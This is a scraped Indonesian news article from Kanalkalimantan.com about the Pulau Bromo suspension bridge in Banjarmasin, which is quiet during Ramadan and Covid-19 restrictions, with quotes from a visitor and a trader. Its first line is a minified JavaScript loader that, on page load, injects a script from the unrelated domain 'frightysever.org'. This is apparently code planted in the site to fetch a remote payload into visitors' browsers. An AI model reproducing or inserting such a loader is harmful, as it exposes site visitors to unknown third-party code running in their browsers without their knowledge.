(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Jembatan Gantung Pulau Bromo di Kelurahan Mantuil, Kecamatan Banjarmasin Selatan, memiliki daya tarik tersendiri sebagai salah satu destinasi wisata.
Jembatan gantung yang membentang 100 meter di atas sungai Martapura ini memiliki ciri khas yang unik, dimana desainnya bak wahana bermain “roller coaster”. Desain uniknya tersebut yang menjadikan jembatan ini ramai didatangi warga sekitar.
Berbanding terbalik, kini Jembatan Gantung Pulau Bromo terpantau sepi pengunjung. Saat Kanalkalimantan.com, mengunjungi lokasi tersebut, tidak banyak warga memadati tempat yang juga diresmikan sebagai kawasan wisata berwawasan lingkungan itu.
Meski tak banyak, ada beberapa pengunjung yang terlihat mengabadikan momen mereka di atas jembatan tersebut dan para pengguna jembatan yang melintas.
Afriansyah salah satunya, Ia mengungkapkan baru saja mengetahui kalau Jembatan Pulau Bromo sudah rampung dan banyak dikunjungi orang. Ia terkesan dengan struktur bangunan jembatan yang tidak biasa.
“Sebelumnya belum tahu kalau ada jembatan ini di sini, ya kesini sambil ngabuburit, mau jalan-jalan,” ujar Afriansyah.
Menurut Afriansyah, ia juga merasa Jembatan Pulau Bromo yang diceritakan oleh orang-orang kepadanya tidak seramai saat ia mengunjunginya.
“Ya katanya di sini ramai, tapi tidak papa lah, kita bisa sambil santai,” kata Afriansyah.
Baca juga : Secara Teori, Awak KRI Nanggala 402 Tidak Mungkin Selamat, Ini Analisisnya
Di samping itu, Asiyanti, salah satu pedagang di kawasan tersebut mengatakan, sejak awal bulan Ramadhan jembatan Pulau Bromo jarang dikunjungi masyarakat.
“Ya mungkin karena lagi bulan puasa, membuat minat orang-orang turun untuk mengunjungi jembatan ini,” ucap wanita yang kerap disapa Mama Dewi itu.
“Selain lagi puasa, mungkin juga karena larangan pemerintah agar jangan ada kerumunan, karena masa Covid-19,” tambah Mama Dewi.
Saat disinggung masalah Satgas Covid-19, ia mengungkapkan, kalau dulu sempat ada petugas satgas Covid-19 yang berjaga di kawasan jembatan ini.
Baca juga : Awak Kapal Asal India Positif Covid-19, Satgas Balikpapan Diminta Tracing
“Tapi setelah banjir pada bulan Januari yang lalu, sudah tidak pernah ada lagi petugas yang berjaga,” ungkap pedagang itu.
Selain itu, ia juga berharap, agar pengunjung bisa ramai kembali seperti sebelumnya.
“Soalnya akhir-akhir ini, pemasukan memang lagi menurun,” pungkasnya. (Kanalkalimantan.com/nissa)
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.